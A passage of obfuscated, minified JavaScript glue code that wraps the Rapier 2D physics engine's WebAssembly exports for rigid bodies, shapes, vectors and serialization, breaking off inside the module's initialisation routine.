_0x4cb6f6['rawrigidbodyset_rbRecomputeMassPropertiesFromColliders'](this['ptr'], _0x2a6a5a, _0x4002eb['ptr']); } ['rbSetAdditionalMass'](_0xaa9f2c, _0x16c514, _0x34253d) { _0x4cb6f6['rawrigidbodyset_rbSetAdditionalMass'](this['ptr'], _0xaa9f2c, _0x16c514, _0x34253d); } ['rbSetAdditionalMassProperties'](_0x279586, _0x2209a5, _0x141075, _0x19301c, _0x3e2b5a) { _0x200901(_0x141075, _0x581d34), _0x4cb6f6['rawrigidbodyset_rbSetAdditionalMassProperties'](this['ptr'], _0x279586, _0x2209a5, _0x141075['ptr'], _0x19301c, _0x3e2b5a); } ['rbLinvel'](_0x35f25c) { const _0xfbfd56 = _0x4cb6f6['rawrigidbodyset_rbLinvel'](this['ptr'], _0x35f25c); return _0x581d34['__wrap'](_0xfbfd56); } ['rbAngvel'](_0x49d710) { return _0x4cb6f6['rawrigidbodyset_rbAngvel'](this['ptr'], _0x49d710); } ['rbLockTranslations'](_0x53c3c, _0x1805e7, _0x1690b4) { _0x4cb6f6['rawrigidbodyset_rbLockTranslations'](this['ptr'], _0x53c3c, _0x1805e7, _0x1690b4); } ['rbSetEnabledTranslations'](_0x978204, _0x529b04, _0x162d2e, _0x43b3a5) { _0x4cb6f6['rawrigidbodyset_rbSetEnabledTranslations'](this['ptr'], _0x978204, _0x529b04, _0x162d2e, _0x43b3a5); } ['rbLockRotations'](_0x1ce339, _0x119021, _0x56c980) { _0x4cb6f6['rawrigidbodyset_rbLockRotations'](this['ptr'], _0x1ce339, _0x119021, _0x56c980); } ['rbDominanceGroup'](_0x13a288) { return _0x4cb6f6['rawrigidbodyset_rbDominanceGroup'](this['ptr'], _0x13a288); } ['rbSetDominanceGroup'](_0xed875f, _0x1e906b) { _0x4cb6f6['rawrigidbodyset_rbSetDominanceGroup'](this['ptr'], _0xed875f, _0x1e906b); } ['rbEnableCcd'](_0x52cb63, _0x4835e6) { _0x4cb6f6['rawrigidbodyset_rbEnableCcd'](this['ptr'], _0x52cb63, _0x4835e6); } ['rbMass'](_0x1f1daa) { return _0x4cb6f6['rawrigidbodyset_rbMass'](this['ptr'], _0x1f1daa); } ['rbInvMass'](_0x1ed126) { return _0x4cb6f6['rawrigidbodyset_rbInvMass'](this['ptr'], _0x1ed126); } ['rbEffectiveInvMass'](_0x3b270a) { const _0xd79146 = _0x4cb6f6['rawrigidbodyset_rbEffectiveInvMass'](this['ptr'], _0x3b270a); return _0x581d34['__wrap'](_0xd79146); } ['rbLocalCom'](_0x243b75) { const _0x22398a = _0x4cb6f6['rawrigidbodyset_rbLocalCom'](this['ptr'], _0x243b75); return _0x581d34['__wrap'](_0x22398a); } ['rbWorldCom'](_0x14c130) { const _0x843666 = _0x4cb6f6['rawrigidbodyset_rbWorldCom'](this['ptr'], _0x14c130); return _0x581d34['__wrap'](_0x843666); } ['rbInvPrincipalInertiaSqrt'](_0xfa092) { return _0x4cb6f6['rawrigidbodyset_rbInvPrincipalInertiaSqrt'](this['ptr'], _0xfa092); } ['rbPrincipalInertia'](_0x21d620) { return _0x4cb6f6['rawrigidbodyset_rbPrincipalInertia'](this['ptr'], _0x21d620); } ['rbEffectiveWorldInvInertiaSqrt'](_0x57671a) { return _0x4cb6f6['rawrigidbodyset_rbEffectiveWorldInvInertiaSqrt'](this['ptr'], _0x57671a); } ['rbEffectiveAngularInertia'](_0x300a70) { return _0x4cb6f6['rawrigidbodyset_rbEffectiveAngularInertia'](this['ptr'], _0x300a70); } ['rbWakeUp'](_0x36be91) { _0x4cb6f6['rawrigidbodyset_rbWakeUp'](this['ptr'], _0x36be91); } ['rbIsCcdEnabled'](_0x2eefdb) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsCcdEnabled'](this['ptr'], _0x2eefdb); } ['rbNumColliders'](_0x177240) { return _0x4cb6f6['rawrigidbodyset_rbNumColliders'](this['ptr'], _0x177240) >>> 0x0; } ['rbCollider'](_0x51fb19, _0xad4d41) { return _0x4cb6f6['rawrigidbodyset_rbCollider'](this['ptr'], _0x51fb19, _0xad4d41); } ['rbBodyType'](_0x3171f7) { return _0x4cb6f6['rawrigidbodyset_rbBodyType'](this['ptr'], _0x3171f7) >>> 0x0; } ['rbSetBodyType'](_0x185453, _0x5771fd, _0x2870d8) { _0x4cb6f6['rawrigidbodyset_rbSetBodyType'](this['ptr'], _0x185453, _0x5771fd, _0x2870d8); } ['rbIsFixed'](_0xd973e4) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsFixed'](this['ptr'], _0xd973e4); } ['rbIsKinematic'](_0x362f06) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsKinematic'](this['ptr'], _0x362f06); } ['rbIsDynamic'](_0x385f33) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsDynamic'](this['ptr'], _0x385f33); } ['rbLinearDamping'](_0x4c1f2a) { return _0x4cb6f6['rawrigidbodyset_rbLinearDamping'](this['ptr'], _0x4c1f2a); } ['rbAngularDamping'](_0x18a541) { return _0x4cb6f6['rawrigidbodyset_rbAngularDamping'](this['ptr'], _0x18a541); } ['rbSetLinearDamping'](_0x221d79, _0x5621a0) { _0x4cb6f6['rawrigidbodyset_rbSetLinearDamping'](this['ptr'], _0x221d79, _0x5621a0); } ['rbSetAngularDamping'](_0x36e181, _0x41e1f2) { _0x4cb6f6['rawrigidbodyset_rbSetAngularDamping'](this['ptr'], _0x36e181, _0x41e1f2); } ['rbSetEnabled'](_0x58d639, _0x1eb04f) { _0x4cb6f6['rawrigidbodyset_rbSetEnabled'](this['ptr'], _0x58d639, _0x1eb04f); } ['rbIsEnabled'](_0x3717be) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsEnabled'](this['ptr'], _0x3717be); } ['rbGravityScale'](_0x56ec85) { return _0x4cb6f6['rawrigidbodyset_rbGravityScale'](this['ptr'], _0x56ec85); } ['rbSetGravityScale'](_0x3b971a, _0x438d11, _0x1c2f70) { _0x4cb6f6['rawrigidbodyset_rbSetGravityScale'](this['ptr'], _0x3b971a, _0x438d11, _0x1c2f70); } ['rbResetForces'](_0x16203f, _0x3b6e77) { _0x4cb6f6['rawrigidbodyset_rbResetForces'](this['ptr'], _0x16203f, _0x3b6e77); } ['rbResetTorques'](_0x22493c, _0x4fde32) { _0x4cb6f6['rawrigidbodyset_rbResetTorques'](this['ptr'], _0x22493c, _0x4fde32); } ['rbAddForce'](_0xf4147d, _0x3f4674, _0x50f51c) { _0x200901(_0x3f4674, _0x581d34), _0x4cb6f6['rawrigidbodyset_rbAddForce'](this['ptr'], _0xf4147d, _0x3f4674['ptr'], _0x50f51c); } ['rbApplyImpulse'](_0x53c088, _0x3db054, _0x667aa4) { _0x200901(_0x3db054, _0x581d34), _0x4cb6f6['rawrigidbodyset_rbApplyImpulse'](this['ptr'], _0x53c088, _0x3db054['ptr'], _0x667aa4); } ['rbAddTorque'](_0x92b966, _0x2412a0, _0x40cd7c) { _0x4cb6f6['rawrigidbodyset_rbAddTorque'](this['ptr'], _0x92b966, _0x2412a0, _0x40cd7c); } ['rbApplyTorqueImpulse'](_0x522320, _0x27ca86, _0x243038) { _0x4cb6f6['rawrigidbodyset_rbApplyTorqueImpulse'](this['ptr'], _0x522320, _0x27ca86, _0x243038); } ['rbAddForceAtPoint'](_0x39d2dd, _0x46e0c3, _0x3f1505, _0x570d28) { _0x200901(_0x46e0c3, _0x581d34), _0x200901(_0x3f1505, _0x581d34), _0x4cb6f6['rawrigidbodyset_rbAddForceAtPoint'](this['ptr'], _0x39d2dd, _0x46e0c3['ptr'], _0x3f1505['ptr'], _0x570d28); } ['rbApplyImpulseAtPoint'](_0x4c0e1b, _0x5e8cf0, _0x5a8480, _0xcc3cfd) { _0x200901(_0x5e8cf0, _0x581d34), _0x200901(_0x5a8480, _0x581d34), _0x4cb6f6['rawrigidbodyset_rbApplyImpulseAtPoint'](this['ptr'], _0x4c0e1b, _0x5e8cf0['ptr'], _0x5a8480['ptr'], _0xcc3cfd); } ['rbUserData'](_0x43db23) { return _0x4cb6f6['rawrigidbodyset_rbUserData'](this['ptr'], _0x43db23) >>> 0x0; } ['rbSetUserData'](_0xcd4b35, _0x210de5) { _0x4cb6f6['rawrigidbodyset_rbSetUserData'](this['ptr'], _0xcd4b35, _0x210de5); } constructor() { const _0x1049e3 = _0x4cb6f6['rawrigidbodyset_new'](); return _0x4894b9['__wrap'](_0x1049e3); } ['createRigidBody'](_0x4f00b8, _0x57f35e, _0x300dfc, _0x23f3b7, _0x511f67, _0x4e82c4, _0x3131fc, _0x5eb834, _0x3f222d, _0x44abbe, _0x3c7a19, _0x280140, _0x5aed05, _0x7409a5, _0x3107ae, _0x30aa36, _0x2afded, _0x3c26bd, _0x420909, _0x13d137) { return _0x200901(_0x57f35e, _0x581d34), _0x200901(_0x300dfc, _0x58e6cd), _0x200901(_0x3131fc, _0x581d34), _0x200901(_0x5eb834, _0x581d34), _0x4cb6f6['rawrigidbodyset_createRigidBody'](this['ptr'], _0x4f00b8, _0x57f35e['ptr'], _0x300dfc['ptr'], _0x23f3b7, _0x511f67, _0x4e82c4, _0x3131fc['ptr'], _0x5eb834['ptr'], _0x3f222d, _0x44abbe, _0x3c7a19, _0x280140, _0x5aed05, _0x7409a5, _0x3107ae, _0x30aa36, _0x2afded, _0x3c26bd, _0x420909, _0x13d137); } ['remove'](_0x5d44fa, _0x2b3487, _0x3421eb, _0x598e0e, _0x6f3733) { _0x200901(_0x2b3487, _0x1bc447), _0x200901(_0x3421eb, _0x11a0e3), _0x200901(_0x598e0e, _0x7882f), _0x200901(_0x6f3733, _0x5d41d9), _0x4cb6f6['rawrigidbodyset_remove'](this['ptr'], _0x5d44fa, _0x2b3487['ptr'], _0x3421eb['ptr'], _0x598e0e['ptr'], _0x6f3733['ptr']); } ['len']() { return _0x4cb6f6['rawrigidbodyset_len'](this['ptr']) >>> 0x0; } ['contains'](_0x41141a) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_contains'](this['ptr'], _0x41141a); } ['forEachRigidBodyHandle'](_0x137f72) { try { _0x4cb6f6['rawrigidbodyset_forEachRigidBodyHandle'](this['ptr'], _0x270afc(_0x137f72)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['propagateModifiedBodyPositionsToColliders'](_0xa22865) { _0x200901(_0xa22865, _0x11a0e3), _0x4cb6f6['rawrigidbodyset_propagateModifiedBodyPositionsToColliders'](this['ptr'], _0xa22865['ptr']); } } class _0x58e6cd { static ['__wrap'](_0x57417e) { const _0x4daa52 = Object['create'](_0x58e6cd['prototype']); return _0x4daa52['ptr'] = _0x57417e, _0x4daa52; } ['__destroy_into_raw']() { const _0x285421 = this['ptr']; return this['ptr'] = 0x0, _0x285421; } ['free']() { const _0x486da4 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawrotation_free'](_0x486da4); } static ['identity']() { const _0xb8d759 = _0x4cb6f6['rawrotation_identity'](); return _0x58e6cd['__wrap'](_0xb8d759); } static ['fromAngle'](_0x833018) { const _0x178f45 = _0x4cb6f6['rawrotation_fromAngle'](_0x833018); return _0x58e6cd['__wrap'](_0x178f45); } get ['im']() { return _0x4cb6f6['rawrotation_im'](this['ptr']); } get ['re']() { return _0x4cb6f6['rawintegrationparameters_dt'](this['ptr']); } get ['angle']() { return _0x4cb6f6['rawrotation_angle'](this['ptr']); } } class _0x233d66 { static ['__wrap'](_0xcafc9d) { const _0x431fa8 = Object['create'](_0x233d66['prototype']); return _0x431fa8['ptr'] = _0xcafc9d, _0x431fa8; } ['__destroy_into_raw']() { const _0x4ee0be = this['ptr']; return this['ptr'] = 0x0, _0x4ee0be; } ['free']() { const _0x284aa6 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawserializationpipeline_free'](_0x284aa6); } constructor() { const _0xa27b48 = _0x4cb6f6['rawserializationpipeline_new'](); return _0x233d66['__wrap'](_0xa27b48); } ['serializeAll'](_0x2a6192, _0x2164b5, _0x53df5, _0x5d3247, _0x272110, _0x4f4e56, _0xb7b3d2, _0x4c7308, _0x408f0b) { return _0x200901(_0x2a6192, _0x581d34), _0x200901(_0x2164b5, _0x280412), _0x200901(_0x53df5, _0x1bc447), _0x200901(_0x5d3247, _0x10d266), _0x200901(_0x272110, _0x201281), _0x200901(_0x4f4e56, _0x4894b9), _0x200901(_0xb7b3d2, _0x11a0e3), _0x200901(_0x4c7308, _0x7882f), _0x200901(_0x408f0b, _0x5d41d9), _0x848c74(_0x4cb6f6['rawserializationpipeline_serializeAll'](this['ptr'], _0x2a6192['ptr'], _0x2164b5['ptr'], _0x53df5['ptr'], _0x5d3247['ptr'], _0x272110['ptr'], _0x4f4e56['ptr'], _0xb7b3d2['ptr'], _0x4c7308['ptr'], _0x408f0b['ptr'])); } ['deserializeAll'](_0x34af91) { const _0x2a6a1d = _0x4cb6f6['rawserializationpipeline_deserializeAll'](this['ptr'], _0x594304(_0x34af91)); return 0x0 === _0x2a6a1d ? void 0x0 : _0x4fbbbe['__wrap'](_0x2a6a1d); } } class _0x141742 { static ['__wrap'](_0x1f2ab9) { const _0x5e7891 = Object['create'](_0x141742['prototype']); return _0x5e7891['ptr'] = _0x1f2ab9, _0x5e7891; } ['__destroy_into_raw']() { const _0x56ba1f = this['ptr']; return this['ptr'] = 0x0, _0x56ba1f; } ['free']() { const _0xe83d61 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawshape_free'](_0xe83d61); } static ['cuboid'](_0x5872ab, _0x254fd9) { const _0x2e1c9e = _0x4cb6f6['rawshape_cuboid'](_0x5872ab, _0x254fd9); return _0x141742['__wrap'](_0x2e1c9e); } static ['roundCuboid'](_0x497f44, _0x432142, _0x2ea77c) { const _0x22ca8a = _0x4cb6f6['rawshape_roundCuboid'](_0x497f44, _0x432142, _0x2ea77c); return _0x141742['__wrap'](_0x22ca8a); } static ['ball'](_0x10a8cf) { const _0x29a946 = _0x4cb6f6['rawshape_ball'](_0x10a8cf); return _0x141742['__wrap'](_0x29a946); } static ['halfspace'](_0x4f4747) { _0x200901(_0x4f4747, _0x581d34); const _0x1b6df9 = _0x4cb6f6['rawshape_halfspace'](_0x4f4747['ptr']); return _0x141742['__wrap'](_0x1b6df9); } static ['capsule'](_0x404136, _0x586381) { const _0x23e676 = _0x4cb6f6['rawshape_capsule'](_0x404136, _0x586381); return _0x141742['__wrap'](_0x23e676); } static ['polyline'](_0x20045a, _0x2db26e) { const _0x572754 = _0x122cae(_0x20045a, _0x4cb6f6['__wbindgen_malloc']), _0x4e3bc4 = _0x4d723e, _0x204218 = _0x3a4784(_0x2db26e, _0x4cb6f6['__wbindgen_malloc']), _0x455cd2 = _0x4d723e, _0x10070f = _0x4cb6f6['rawshape_polyline'](_0x572754, _0x4e3bc4, _0x204218, _0x455cd2); return _0x141742['__wrap'](_0x10070f); } static ['trimesh'](_0x130f8, _0x2b86c0) { const _0xecfc00 = _0x122cae(_0x130f8, _0x4cb6f6['__wbindgen_malloc']), _0x457af3 = _0x4d723e, _0x482178 = _0x3a4784(_0x2b86c0, _0x4cb6f6['__wbindgen_malloc']), _0x4953a1 = _0x4d723e, _0x23d449 = _0x4cb6f6['rawshape_trimesh'](_0xecfc00, _0x457af3, _0x482178, _0x4953a1); return _0x141742['__wrap'](_0x23d449); } static ['heightfield'](_0x1e8a5e, _0xc7882e) { const _0x43e499 = _0x122cae(_0x1e8a5e, _0x4cb6f6['__wbindgen_malloc']), _0xdf3d25 = _0x4d723e; _0x200901(_0xc7882e, _0x581d34); const _0x2d3424 = _0x4cb6f6['rawshape_heightfield'](_0x43e499, _0xdf3d25, _0xc7882e['ptr']); return _0x141742['__wrap'](_0x2d3424); } static ['segment'](_0x3d9175, _0x5a7284) { _0x200901(_0x3d9175, _0x581d34), _0x200901(_0x5a7284, _0x581d34); const _0x108e1f = _0x4cb6f6['rawshape_segment'](_0x3d9175['ptr'], _0x5a7284['ptr']); return _0x141742['__wrap'](_0x108e1f); } static ['triangle'](_0x392fe9, _0x50a83f, _0x1d9941) { _0x200901(_0x392fe9, _0x581d34), _0x200901(_0x50a83f, _0x581d34), _0x200901(_0x1d9941, _0x581d34); const _0x29e454 = _0x4cb6f6['rawshape_triangle'](_0x392fe9['ptr'], _0x50a83f['ptr'], _0x1d9941['ptr']); return _0x141742['__wrap'](_0x29e454); } static ['roundTriangle'](_0x4f7842, _0x11d9c6, _0x4e6aff, _0x4e218f) { _0x200901(_0x4f7842, _0x581d34), _0x200901(_0x11d9c6, _0x581d34), _0x200901(_0x4e6aff, _0x581d34); const _0x40e34a = _0x4cb6f6['rawshape_roundTriangle'](_0x4f7842['ptr'], _0x11d9c6['ptr'], _0x4e6aff['ptr'], _0x4e218f); return _0x141742['__wrap'](_0x40e34a); } static ['convexHull'](_0xe18a66) { const _0x73a726 = _0x122cae(_0xe18a66, _0x4cb6f6['__wbindgen_malloc']), _0x4b1e5c = _0x4d723e, _0x5f46d1 = _0x4cb6f6['rawshape_convexHull'](_0x73a726, _0x4b1e5c); return 0x0 === _0x5f46d1 ? void 0x0 : _0x141742['__wrap'](_0x5f46d1); } static ['roundConvexHull'](_0x5edc6b, _0x3268a5) { const _0x5a9b31 = _0x122cae(_0x5edc6b, _0x4cb6f6['__wbindgen_malloc']), _0x15082a = _0x4d723e, _0x5e4814 = _0x4cb6f6['rawshape_roundConvexHull'](_0x5a9b31, _0x15082a, _0x3268a5); return 0x0 === _0x5e4814 ? void 0x0 : _0x141742['__wrap'](_0x5e4814); } static ['convexPolyline'](_0x249235) { const _0x55c624 = _0x122cae(_0x249235, _0x4cb6f6['__wbindgen_malloc']), _0x143c55 = _0x4d723e, _0x5ae8f1 = _0x4cb6f6['rawshape_convexPolyline'](_0x55c624, _0x143c55); return 0x0 === _0x5ae8f1 ? void 0x0 : _0x141742['__wrap'](_0x5ae8f1); } static ['roundConvexPolyline'](_0x1d6585, _0x3666a6) { const _0x40e8b1 = _0x122cae(_0x1d6585, _0x4cb6f6['__wbindgen_malloc']), _0x4995ab = _0x4d723e, _0xbface4 = _0x4cb6f6['rawshape_roundConvexPolyline'](_0x40e8b1, _0x4995ab, _0x3666a6); return 0x0 === _0xbface4 ? void 0x0 : _0x141742['__wrap'](_0xbface4); } ['castShape'](_0x1e7bf9, _0x1e8f44, _0x245e7e, _0x1564fd, _0x2a2901, _0x32d60f, _0x2c3425, _0x259e6f, _0x48e682) { _0x200901(_0x1e7bf9, _0x581d34), _0x200901(_0x1e8f44, _0x58e6cd), _0x200901(_0x245e7e, _0x581d34), _0x200901(_0x1564fd, _0x141742), _0x200901(_0x2a2901, _0x581d34), _0x200901(_0x32d60f, _0x58e6cd), _0x200901(_0x2c3425, _0x581d34); const _0x57aed6 = _0x4cb6f6['rawshape_castShape'](this['ptr'], _0x1e7bf9['ptr'], _0x1e8f44['ptr'], _0x245e7e['ptr'], _0x1564fd['ptr'], _0x2a2901['ptr'], _0x32d60f['ptr'], _0x2c3425['ptr'], _0x259e6f, _0x48e682); return 0x0 === _0x57aed6 ? void 0x0 : _0x182936['__wrap'](_0x57aed6); } ['intersectsShape'](_0x476b79, _0x1295d1, _0x451961, _0x1f9b11, _0x5f295d) { return _0x200901(_0x476b79, _0x581d34), _0x200901(_0x1295d1, _0x58e6cd), _0x200901(_0x451961, _0x141742), _0x200901(_0x1f9b11, _0x581d34), _0x200901(_0x5f295d, _0x58e6cd), 0x0 !== _0x4cb6f6['rawshape_intersectsShape'](this['ptr'], _0x476b79['ptr'], _0x1295d1['ptr'], _0x451961['ptr'], _0x1f9b11['ptr'], _0x5f295d['ptr']); } ['contactShape'](_0xefacec, _0x4f4357, _0x18bb1c, _0x3c301c, _0x5a02af, _0x31c26d) { _0x200901(_0xefacec, _0x581d34), _0x200901(_0x4f4357, _0x58e6cd), _0x200901(_0x18bb1c, _0x141742), _0x200901(_0x3c301c, _0x581d34), _0x200901(_0x5a02af, _0x58e6cd); const _0x58fe48 = _0x4cb6f6['rawshape_contactShape'](this['ptr'], _0xefacec['ptr'], _0x4f4357['ptr'], _0x18bb1c['ptr'], _0x3c301c['ptr'], _0x5a02af['ptr'], _0x31c26d); return 0x0 === _0x58fe48 ? void 0x0 : _0x3f0e72['__wrap'](_0x58fe48); } ['containsPoint'](_0x57a56d, _0x454128, _0x4e9b23) { return _0x200901(_0x57a56d, _0x581d34), _0x200901(_0x454128, _0x58e6cd), _0x200901(_0x4e9b23, _0x581d34), 0x0 !== _0x4cb6f6['rawshape_containsPoint'](this['ptr'], _0x57a56d['ptr'], _0x454128['ptr'], _0x4e9b23['ptr']); } ['projectPoint'](_0x3dbcf6, _0x4d387d, _0x34b23d, _0x534f8d) { _0x200901(_0x3dbcf6, _0x581d34), _0x200901(_0x4d387d, _0x58e6cd), _0x200901(_0x34b23d, _0x581d34); const _0x542448 = _0x4cb6f6['rawshape_projectPoint'](this['ptr'], _0x3dbcf6['ptr'], _0x4d387d['ptr'], _0x34b23d['ptr'], _0x534f8d); return _0x34bd26['__wrap'](_0x542448); } ['intersectsRay'](_0x57def5, _0x394fa6, _0x3a62a3, _0x5d8f71, _0x54c75e) { return _0x200901(_0x57def5, _0x581d34), _0x200901(_0x394fa6, _0x58e6cd), _0x200901(_0x3a62a3, _0x581d34), _0x200901(_0x5d8f71, _0x581d34), 0x0 !== _0x4cb6f6['rawshape_intersectsRay'](this['ptr'], _0x57def5['ptr'], _0x394fa6['ptr'], _0x3a62a3['ptr'], _0x5d8f71['ptr'], _0x54c75e); } ['castRay'](_0x111301, _0x4bc40d, _0x4075cd, _0x1e425e, _0x52717f, _0x48a7d2) { return _0x200901(_0x111301, _0x581d34), _0x200901(_0x4bc40d, _0x58e6cd), _0x200901(_0x4075cd, _0x581d34), _0x200901(_0x1e425e, _0x581d34), _0x4cb6f6['rawshape_castRay'](this['ptr'], _0x111301['ptr'], _0x4bc40d['ptr'], _0x4075cd['ptr'], _0x1e425e['ptr'], _0x52717f, _0x48a7d2); } ['castRayAndGetNormal'](_0x4d5862, _0x430043, _0x519478, _0x4b0aa9, _0x315109, _0xe06b29) { _0x200901(_0x4d5862, _0x581d34), _0x200901(_0x430043, _0x58e6cd), _0x200901(_0x519478, _0x581d34), _0x200901(_0x4b0aa9, _0x581d34); const _0x45dd88 = _0x4cb6f6['rawshape_castRayAndGetNormal'](this['ptr'], _0x4d5862['ptr'], _0x430043['ptr'], _0x519478['ptr'], _0x4b0aa9['ptr'], _0x315109, _0xe06b29); return 0x0 === _0x45dd88 ? void 0x0 : _0x423b25['__wrap'](_0x45dd88); } } class _0x2e77c7 { static ['__wrap'](_0x55cfb6) { const _0x1429f1 = Object['create'](_0x2e77c7['prototype']); return _0x1429f1['ptr'] = _0x55cfb6, _0x1429f1; } ['__destroy_into_raw']() { const _0x1e3f69 = this['ptr']; return this['ptr'] = 0x0, _0x1e3f69; } ['free']() { const _0x5af6c6 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawshapecollidertoi_free'](_0x5af6c6); } ['colliderHandle']() { return _0x4cb6f6['rawcontactforceevent_collider1'](this['ptr']); } ['toi']() { return _0x4cb6f6['rawshapecollidertoi_toi'](this['ptr']); } ['witness1']() { const _0x7b211 = _0x4cb6f6['rawraycolliderintersection_normal'](this['ptr']); return _0x581d34['__wrap'](_0x7b211); } ['witness2']() { const _0x5a9a38 = _0x4cb6f6['rawcontactforceevent_total_force'](this['ptr']); return _0x581d34['__wrap'](_0x5a9a38); } ['normal1']() { const _0x4cdc4d = _0x4cb6f6['rawcharactercollision_translationApplied'](this['ptr']); return _0x581d34['__wrap'](_0x4cdc4d); } ['normal2']() { const _0x3ddbce = _0x4cb6f6['rawcharactercollision_translationRemaining'](this['ptr']); return _0x581d34['__wrap'](_0x3ddbce); } } class _0x3f0e72 { static ['__wrap'](_0xa6fe29) { const _0x379c68 = Object['create'](_0x3f0e72['prototype']); return _0x379c68['ptr'] = _0xa6fe29, _0x379c68; } ['__destroy_into_raw']() { const _0x35c5cf = this['ptr']; return this['ptr'] = 0x0, _0x35c5cf; } ['free']() { const _0x41907b = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawshapecontact_free'](_0x41907b); } ['distance']() { return _0x4cb6f6['rawcontactforceevent_total_force_magnitude'](this['ptr']); } ['point1']() { const _0x4314e6 = _0x4cb6f6['rawkinematiccharactercontroller_up'](this['ptr']); return _0x581d34['__wrap'](_0x4314e6); } ['point2']() { const _0x159e6e = _0x4cb6f6['rawraycolliderintersection_normal'](this['ptr']); return _0x581d34['__wrap'](_0x159e6e); } ['normal1']() { const _0x369555 = _0x4cb6f6['rawcontactforceevent_total_force'](this['ptr']); return _0x581d34['__wrap'](_0x369555); } ['normal2']() { const _0x3b4f8e = _0x4cb6f6['rawcharactercollision_translationApplied'](this['ptr']); return _0x581d34['__wrap'](_0x3b4f8e); } } class _0x182936 { static ['__wrap'](_0x3150d9) { const _0x31d3a9 = Object['create'](_0x182936['prototype']); return _0x31d3a9['ptr'] = _0x3150d9, _0x31d3a9; } ['__destroy_into_raw']() { const _0x1f9327 = this['ptr']; return this['ptr'] = 0x0, _0x1f9327; } ['free']() { const _0x25484e = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawshapetoi_free'](_0x25484e); } ['toi']() { return _0x4cb6f6['rawcontactforceevent_total_force_magnitude'](this['ptr']); } ['witness1']() { const _0x572b61 = _0x4cb6f6['rawkinematiccharactercontroller_up'](this['ptr']); return _0x581d34['__wrap'](_0x572b61); } ['witness2']() { const _0x33a1fc = _0x4cb6f6['rawraycolliderintersection_normal'](this['ptr']); return _0x581d34['__wrap'](_0x33a1fc); } ['normal1']() { const _0x1e6d79 = _0x4cb6f6['rawcontactforceevent_total_force'](this['ptr']); return _0x581d34['__wrap'](_0x1e6d79); } ['normal2']() { const _0x3b03ad = _0x4cb6f6['rawcharactercollision_translationApplied'](this['ptr']); return _0x581d34['__wrap'](_0x3b03ad); } } class _0x581d34 { static ['__wrap'](_0x46eeb2) { const _0x27b1aa = Object['create'](_0x581d34['prototype']); return _0x27b1aa['ptr'] = _0x46eeb2, _0x27b1aa; } ['__destroy_into_raw']() { const _0x5a6c30 = this['ptr']; return this['ptr'] = 0x0, _0x5a6c30; } ['free']() { const _0x50150e = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawvector_free'](_0x50150e); } static ['zero']() { const _0x5f4db4 = _0x4cb6f6['rawvector_zero'](); return _0x581d34['__wrap'](_0x5f4db4); } constructor(_0x2c37a7, _0x2f7d9f) { const _0x3df28e = _0x4cb6f6['rawvector_new'](_0x2c37a7, _0x2f7d9f); return _0x581d34['__wrap'](_0x3df28e); } get ['x']() { return _0x4cb6f6['rawintegrationparameters_dt'](this['ptr']); } set ['x'](_0x1a1067) { _0x4cb6f6['rawintegrationparameters_set_dt'](this['ptr'], _0x1a1067); } get ['y']() { return _0x4cb6f6['rawrotation_im'](this['ptr']); } set ['y'](_0x3388b8) { _0x4cb6f6['rawvector_set_y'](this['ptr'], _0x3388b8); } ['xy']() { const _0x115df1 = _0x4cb6f6['rawvector_xy'](this['ptr']); return _0x581d34['__wrap'](_0x115df1); } ['yx']() { const _0x422bf7 = _0x4cb6f6['rawvector_yx'](this['ptr']); return _0x581d34['__wrap'](_0x422bf7); } } async function _0x5a28aa(_0x28fedf) { void 0x0 === _0x28fedf && (_0x28fedf = new URL('rapier_wasm2d_bg.wasm', '<deleted>')); const _0x5cd894 = (function () { const _0x53edd5 = { 'wbg': {} }; return _0x53edd5['wbg']['__wbindgen_object_drop_ref'] = function (_0x183c7c) { _0x848c74(_0x183c7c); }, _0x53edd5['wbg']['__wbindgen_number_new'] = function (_0x2cc592) { return _0x594304(_0x2cc592); }, _0x53edd5['wbg']['__wbindgen_number_get'] = function (_0x3fcbaf, _0x19ed82) { const _0x394172 = _0x87f0fd(_0x19ed82), _0x398159 = 'number' == typeof _0x394172 ? _0x394172 : void 0x0; _0x3963d6()[_0x3fcbaf / 0x8 + 0x1] = _0x5ca10b(_0x398159) ? 0x0 : _0x398159, _0x306da3()[_0x3fcbaf / 0x4 + 0x0] = !_0x5ca10b(_0x398159); }, _0x53edd5['wbg']['__wbindgen_boolean_get'] = function (_0x148f04) { const _0x51cba8 = _0x87f0fd(_0x148f04); return 'boolean' == typeof _0x51cba8 ? _0x51cba8 ? 0x1 : 0x0 : 0x2; }, _0x53edd5['wbg']['__wbindgen_is_function'] = function (_0x10c3be) { return 'function' == typeof _0x87f0fd(_0x10c3be); }, _0x53edd5['wbg']['__wbg_rawraycolliderintersection_new'] = function (_0x5a3302) { return _0x594304(_0x1cd0be['__wrap'](_0x5a3302)); }, _0x53edd5['wbg']['__wbg_rawcontactforceevent_new'] = function (_0x1c2137) { return _0x594304(_0x3e3148['__wrap'](_0x1c2137)); }, _0x53edd5['wbg']['__wbg_call_168da88779e35f61'] = function () { return _0x3a6b76(function (_0x2f330c, _0x1b95c3, _0x300e2e) { return _0x594304(_0x87f0fd(_0x2f330c)['call'](_0x87f0fd(_0x1b95c3), _0x87f0fd(_0x300e2e))); }, arguments); }, _0x53edd5['wbg']['__wbg_call_3999bee59e9f7719'] = function () { return _0x3a6b76(function (_0x214494, _0x36061f, _0xb66e7b, _0x698f9d) { return _0x594304(_0x87f0fd(_0x214494)['call'](_0x87f0fd(_0x36061f), _0x87f0fd(_0xb66e7b), _0x87f0fd(_0x698f9d))); }, arguments); }, _0x53edd5['wbg']['__wbg_call_e1f72c051cdab859'] = function () { return _0x3a6b76(function (_0x256853, _0x51889c, _0x5340db, _0x332340, _0x5c1bd9) { return _0x594304(_0x87f0fd(_0x256853)['call'](_0x87f0fd(_0x51889c), _0x87f0fd(_0x5340db), _0x87f0fd(_0x332340), 